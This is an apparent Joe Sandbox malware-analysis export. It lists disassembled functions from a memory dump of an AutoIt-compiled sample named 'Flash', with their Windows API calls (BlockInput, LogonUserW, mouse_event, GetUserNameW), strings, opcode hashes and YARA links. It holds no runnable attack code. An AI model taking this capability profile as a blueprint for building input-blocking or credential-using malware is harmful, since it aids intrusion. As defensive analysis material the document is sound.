Function 009FA385 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,009F8F87,?,?,?,00000001), ref: 009FA38A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 009FA393

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: acfb5b3689514b9cc5374fde1558769ee38ad7aa898807832058be79d60272ac
Instruction ID: 341b54a662e86c4df083851444d27b7a8de9c6e19251aa021633813eb7560e7d
Opcode Fuzzy Hash: acfb5b3689514b9cc5374fde1558769ee38ad7aa898807832058be79d60272ac
Instruction Fuzzy Hash: 08B09231064208ABCA406BD1EC09F8A3F78EB44A63F004010F60D48260EBE254928A91

Function 00A445D5 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00A445F0

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 2d3d26a313619a8d97bb1da131580d7d95811551007ebd536e2864581029b964
Instruction ID: 1c67163972703eed9b230bf9949c42c56bbc9dd1fa76a8dd1ea82661010140d0
Opcode Fuzzy Hash: 2d3d26a313619a8d97bb1da131580d7d95811551007ebd536e2864581029b964
Instruction Fuzzy Hash: 6CE01A392502159FD710AF99E804B9AB7E9AF98760F008416F949D7351DAB0AD418B91

Function 00A351E2 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00A35205

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: bcc803e3253f1c3c4ce8a8d0e3241da3754fad52f802dd8bc3572e2e31939f96
Instruction ID: 41256acf0c14e915b2315afd2fc769303b72b23f671547652a15f80572497e57
Opcode Fuzzy Hash: bcc803e3253f1c3c4ce8a8d0e3241da3754fad52f802dd8bc3572e2e31939f96
Instruction Fuzzy Hash: 45D092A5960E0A79ED5867BC9E1FF771628E3017C1F95874BB142890C2EDD46886A432

Function 00A29369 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00A28FA7), ref: 00A29389

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 6fdfb2216b3b00e44bb56b07e232360974bfb4ded160b3d6a6d6f0fc77adb5a6
Instruction ID: eac5d503e0775853d9e17d59ebc6038d7a1cc9f8c5322cad09a786d568c8b554
Opcode Fuzzy Hash: 6fdfb2216b3b00e44bb56b07e232360974bfb4ded160b3d6a6d6f0fc77adb5a6
Instruction Fuzzy Hash: 06D09E3226450EBBEF019EA4DD05EAF3B79EB04B01F408511FE15D51A1C775D935AB60

Function 00A10722 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00A10734

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 19d4d442ab87b6d27fee9e7027de5ded44ad3cee514d203aa03495064aa7451c
Instruction ID: b72889fa6f77280fd53d40e29c3f834887f764fd02a2ab9424f102080c8943b8
Opcode Fuzzy Hash: 19d4d442ab87b6d27fee9e7027de5ded44ad3cee514d203aa03495064aa7451c
Instruction Fuzzy Hash: 3AC04CF1800109DBCB05DBA0D988EEF7BBCBB08305F100455E105B2100D7B49B848A71

Function 009FA354 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 009FA35A

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 926ef9157f058ef9b08e59b647a83986381a9c1b6a513b89936164de0fce78a9
Instruction ID: b80eaeb6612b373fd67f325f75bc2486c8aee12d88df350f76361b8b44c63551
Opcode Fuzzy Hash: 926ef9157f058ef9b08e59b647a83986381a9c1b6a513b89936164de0fce78a9
Instruction Fuzzy Hash: 22A0243001010CF7CF001FC1FC04C457F7CD7001517004010F40C04131D773545145C0

Function 00A53BA9 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00A60980), ref: 00A53C65
IsWindowVisible.USER32(?), ref: 00A53C89

Strings

GETCURRENTLINE, xrefs: 00A53F2B
TABLEFT, xrefs: 00A53CC5
SELECTSTRING, xrefs: 00A53E44
EDITPASTE, xrefs: 00A53F9D
GETLINECOUNT, xrefs: 00A53F04
SENDCOMMANDID, xrefs: 00A54018
ISVISIBLE, xrefs: 00A53C75
ADDSTRING, xrefs: 00A53D54
SHOWDROPDOWN, xrefs: 00A53D1E
ISENABLED, xrefs: 00A53CA9
DELSTRING, xrefs: 00A53D87
ISCHECKED, xrefs: 00A53E77
FINDSTRING, xrefs: 00A53DB4
HIDEDROPDOWN, xrefs: 00A53D3E
CHECK, xrefs: 00A53EAB
SETCURRENTSELECTION, xrefs: 00A53DF4
GETLINE, xrefs: 00A53FD9
GETCURRENTCOL, xrefs: 00A53F66
GETSELECTED, xrefs: 00A53EE1
GETCURRENTSELECTION, xrefs: 00A53E21
UNCHECK, xrefs: 00A53EC1
TABRIGHT, xrefs: 00A53CDB
CURRENTTAB, xrefs: 00A53CFB

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: e44dbd245a0ba69a1034a0366151974daa047666a39ea9da64ac707f7dff0bcd
Instruction ID: 2fcdc9961d7efa52fc25b3f96b922674059dff74bd6dfda5455e4d13c092fa48
Opcode Fuzzy Hash: e44dbd245a0ba69a1034a0366151974daa047666a39ea9da64ac707f7dff0bcd
Instruction Fuzzy Hash: 6CD16B312042149BCB14EF54D451AAAB7B6BFD4394F208868FD865B2E3CB35EE4ECB51

Function 00A5ABFF Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00A5AC55
GetSysColorBrush.USER32(0000000F), ref: 00A5AC86
GetSysColor.USER32(0000000F), ref: 00A5AC92
SetBkColor.GDI32(?,000000FF), ref: 00A5ACAC
SelectObject.GDI32(?,?), ref: 00A5ACBB
InflateRect.USER32(?,000000FF,000000FF), ref: 00A5ACE6
GetSysColor.USER32(00000010), ref: 00A5ACEE
CreateSolidBrush.GDI32(00000000), ref: 00A5ACF5
FrameRect.USER32(?,?,00000000), ref: 00A5AD04
DeleteObject.GDI32(00000000), ref: 00A5AD0B
InflateRect.USER32(?,000000FE,000000FE), ref: 00A5AD56
FillRect.USER32(?,?,?), ref: 00A5AD88
GetWindowLongW.USER32(?,000000F0), ref: 00A5ADB3

Part of subcall function 00A5AF18: GetSysColor.USER32(00000012), ref: 00A5AF51
Part of subcall function 00A5AF18: SetTextColor.GDI32(?,?), ref: 00A5AF55
Part of subcall function 00A5AF18: GetSysColorBrush.USER32(0000000F), ref: 00A5AF6B
Part of subcall function 00A5AF18: GetSysColor.USER32(0000000F), ref: 00A5AF76
Part of subcall function 00A5AF18: GetSysColor.USER32(00000011), ref: 00A5AF93
Part of subcall function 00A5AF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00A5AFA1
Part of subcall function 00A5AF18: SelectObject.GDI32(?,00000000), ref: 00A5AFB2
Part of subcall function 00A5AF18: SetBkColor.GDI32(?,00000000), ref: 00A5AFBB
Part of subcall function 00A5AF18: SelectObject.GDI32(?,?), ref: 00A5AFC8
Part of subcall function 00A5AF18: InflateRect.USER32(?,000000FF,000000FF), ref: 00A5AFE7
Part of subcall function 00A5AF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00A5AFFE
Part of subcall function 00A5AF18: GetWindowLongW.USER32(00000000,000000F0), ref: 00A5B013

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 12ef3060c91cf0b76c1fe10c0ef6d0b1bcba6174e73546db93c46c90fad69a5d
Instruction ID: c31e872a7d725a63d6ebadcfc593bd52ffa7544dcf6f0bc75aadf4190a0d5ea2
Opcode Fuzzy Hash: 12ef3060c91cf0b76c1fe10c0ef6d0b1bcba6174e73546db93c46c90fad69a5d
Instruction Fuzzy Hash: 2BA15972108301AFD711DFA4DC08E6BBBB9FF89322F104B19F966961A0D7B1D985CB52

Function 009D2FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 009D3072
DeleteObject.GDI32(00000000), ref: 009D30B8
DeleteObject.GDI32(00000000), ref: 009D30C3
DestroyIcon.USER32(00000000,?,?,?), ref: 009D30CE
DestroyWindow.USER32(00000000,?,?,?), ref: 009D30D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 00A0C77C
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00A0C7B5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00A0CBDE

Part of subcall function 009D1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,009D2412,?,00000000,?,?,?,?,009D1AA7,00000000,?), ref: 009D1F76

SendMessageW.USER32(?,00001053), ref: 00A0CC1B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00A0CC32
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00A0CC48
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00A0CC53

Strings

0, xrefs: 00A0CA72

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 2b8a4621e8cd6d587210112b5941d81c87b2cc77f5c9571a2c0787ca616f03e5
Instruction ID: 1795d05a2eb55d2f980ac2cca2c1a91184771ffd1c93d4a00ca758320101fdc3
Opcode Fuzzy Hash: 2b8a4621e8cd6d587210112b5941d81c87b2cc77f5c9571a2c0787ca616f03e5
Instruction Fuzzy Hash: B612AE34600205EFDB25CF24D884BA6B7B5BF44321F14C66AF895CB2A2C771ED86CB91

Function 009E27FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 009F0FE6: std::exception::exception.LIBCMT ref: 009F101C
Part of subcall function 009F0FE6: __CxxThrowException@8.LIBCMT ref: 009F1031

__wcsnicmp.LIBCMT ref: 009E286A
__wcsnicmp.LIBCMT ref: 009E287E
__wcsnicmp.LIBCMT ref: 009E2896
__wcsnicmp.LIBCMT ref: 009E28AE
__wcsnicmp.LIBCMT ref: 009E28C6
__wcsnicmp.LIBCMT ref: 009E28DE
__wcsnicmp.LIBCMT ref: 009E28F6
__wcsnicmp.LIBCMT ref: 009E290A
__wcsnicmp.LIBCMT ref: 009E2948
__wcsnicmp.LIBCMT ref: 009E295C
__wcsnicmp.LIBCMT ref: 009E2970
__wcsnicmp.LIBCMT ref: 009E2984

Strings

#cs, xrefs: 009E2904, 009E2956
#OnAutoItStartRegister, xrefs: 009E28A8
Bad directive syntax error, xrefs: 00A1FBD3, 00A1FBF0
', xrefs: 00A1FB9F
Cannot parse #include, xrefs: 00A1FCE5
#comments-start, xrefs: 009E28F0, 009E2942
", xrefs: 00A1FB89
#include-once, xrefs: 009E28C0
#comments-end, xrefs: 009E296A
#notrayicon, xrefs: 009E2878
#ce, xrefs: 009E297E
Unterminated group of comments, xrefs: 00A1FCFA
#pragma compile, xrefs: 009E2864
#include, xrefs: 009E28D8
#requireadmin, xrefs: 009E2890

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: a1b816fa2074434d2c1dfabe68f0fdc85ef2368d4a81f63a517d5ebf67796958
Instruction ID: f01ba051acb755b16d9a30cd38aa5c929e072be7ef0f7cdc84fd1a5c25fa1458
Opcode Fuzzy Hash: a1b816fa2074434d2c1dfabe68f0fdc85ef2368d4a81f63a517d5ebf67796958
Instruction Fuzzy Hash: 8FA19E31A00249BBCB15AF22DD42FBE3778BF85740F144429F905AB293EBB49E51D790

Function 00A47B95 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00A47BC8
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00A47C87
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00A47CC5
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00A47CD7
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00A47D1D
GetClientRect.USER32(00000000,?), ref: 00A47D29
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00A47D6D
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00A47D7C
GetStockObject.GDI32(00000011), ref: 00A47D8C
SelectObject.GDI32(00000000,00000000), ref: 00A47D90
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00A47DA0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A47DA9
DeleteDC.GDI32(00000000), ref: 00A47DB2
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00A47DDE
SendMessageW.USER32(00000030,00000000,00000001), ref: 00A47DF5
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00A47E30
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00A47E44
SendMessageW.USER32(00000404,00000001,00000000), ref: 00A47E55
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00A47E85
GetStockObject.GDI32(00000011), ref: 00A47E90
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00A47E9B
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00A47EA5

Strings

static, xrefs: 00A47D67, 00A47E7F
DISPLAY, xrefs: 00A47D72
AutoIt v3, xrefs: 00A47D15
msctls_progress32, xrefs: 00A47E26

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 0314692eefbf3307736951ebce995bc8dd2a8dbdf557e41ed793b21405e7fd56
Instruction ID: 8f9f71c813fec90dbec9a1c24c42130fc22396b07ace350e9efd979a227150db
Opcode Fuzzy Hash: 0314692eefbf3307736951ebce995bc8dd2a8dbdf557e41ed793b21405e7fd56
Instruction Fuzzy Hash: 6CA1A1B1A50615BFEB14DBA4DC4AFAF7BB9EB44710F008115FA15A72E0CBB0AD41CB64

Function 00A3B353 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00A3B361
GetDriveTypeW.KERNEL32(?,00A62C4C,?,\\.\,00A60980), ref: 00A3B43E
SetErrorMode.KERNEL32(00000000,00A62C4C,?,\\.\,00A60980), ref: 00A3B59C

Strings

PhysicalDrive, xrefs: 00A3B3EA
Network, xrefs: 00A3B47C
\\.\, xrefs: 00A3B3B3
SSA, xrefs: 00A3B525
Unknown, xrefs: 00A3B45E, 00A3B502
iSCSI, xrefs: 00A3B541
Virtual, xrefs: 00A3B564
SAS, xrefs: 00A3B548
Fixed, xrefs: 00A3B486
MMC, xrefs: 00A3B55D
FileBackedVirtual, xrefs: 00A3B56B
SSD, xrefs: 00A3B4C9
CDROM, xrefs: 00A3B472
ATAPI, xrefs: 00A3B510
USB, xrefs: 00A3B533
SATA, xrefs: 00A3B54F
SCSI, xrefs: 00A3B509
1394, xrefs: 00A3B51E
ATA, xrefs: 00A3B517
Removable, xrefs: 00A3B490
RAID, xrefs: 00A3B53A
RAMDisk, xrefs: 00A3B468
Fibre, xrefs: 00A3B52C

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 8fb6282dada6b22a8d192bf99f0f39b9d303aed80572e780d77fba36e6634a9b
Instruction ID: 66bfaa84ee849ecf9385f20a92bf934b80a79c6925c7d47e38a6932ca57449e5
Opcode Fuzzy Hash: 8fb6282dada6b22a8d192bf99f0f39b9d303aed80572e780d77fba36e6634a9b
Instruction Fuzzy Hash: AD517531B61209EBCB00EB60CA43A7D77B2BB84740F248816F607A7291E775EE45CB75

Function 00A5A041 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00A5A0F7
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00A5A1B0
SendMessageW.USER32(?,00001102,00000002,?), ref: 00A5A1CC

Strings

0, xrefs: 00A5A209

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 85687e1a11bc9678418d6f242c213bf1a6243460a3f6c83689985896975ebdca
Instruction ID: b9a4bde5f8db45d99b940289c7af63a4f7e8523b507d2bd63d0c489ce8c4aff1
Opcode Fuzzy Hash: 85687e1a11bc9678418d6f242c213bf1a6243460a3f6c83689985896975ebdca
Instruction Fuzzy Hash: E102CB30208301AFDB25CF14C849FABBBF4FFA5316F048619F999962A1D7B4D949CB52

Function 00A5AF18 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00A5AF51
SetTextColor.GDI32(?,?), ref: 00A5AF55
GetSysColorBrush.USER32(0000000F), ref: 00A5AF6B
GetSysColor.USER32(0000000F), ref: 00A5AF76
CreateSolidBrush.GDI32(?), ref: 00A5AF7B
GetSysColor.USER32(00000011), ref: 00A5AF93
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00A5AFA1
SelectObject.GDI32(?,00000000), ref: 00A5AFB2
SetBkColor.GDI32(?,00000000), ref: 00A5AFBB
SelectObject.GDI32(?,?), ref: 00A5AFC8
InflateRect.USER32(?,000000FF,000000FF), ref: 00A5AFE7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00A5AFFE
GetWindowLongW.USER32(00000000,000000F0), ref: 00A5B013
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00A5B05F
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00A5B086
InflateRect.USER32(?,000000FD,000000FD), ref: 00A5B0A4
DrawFocusRect.USER32(?,?), ref: 00A5B0AF
GetSysColor.USER32(00000011), ref: 00A5B0BD
SetTextColor.GDI32(?,00000000), ref: 00A5B0C5
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00A5B0D9
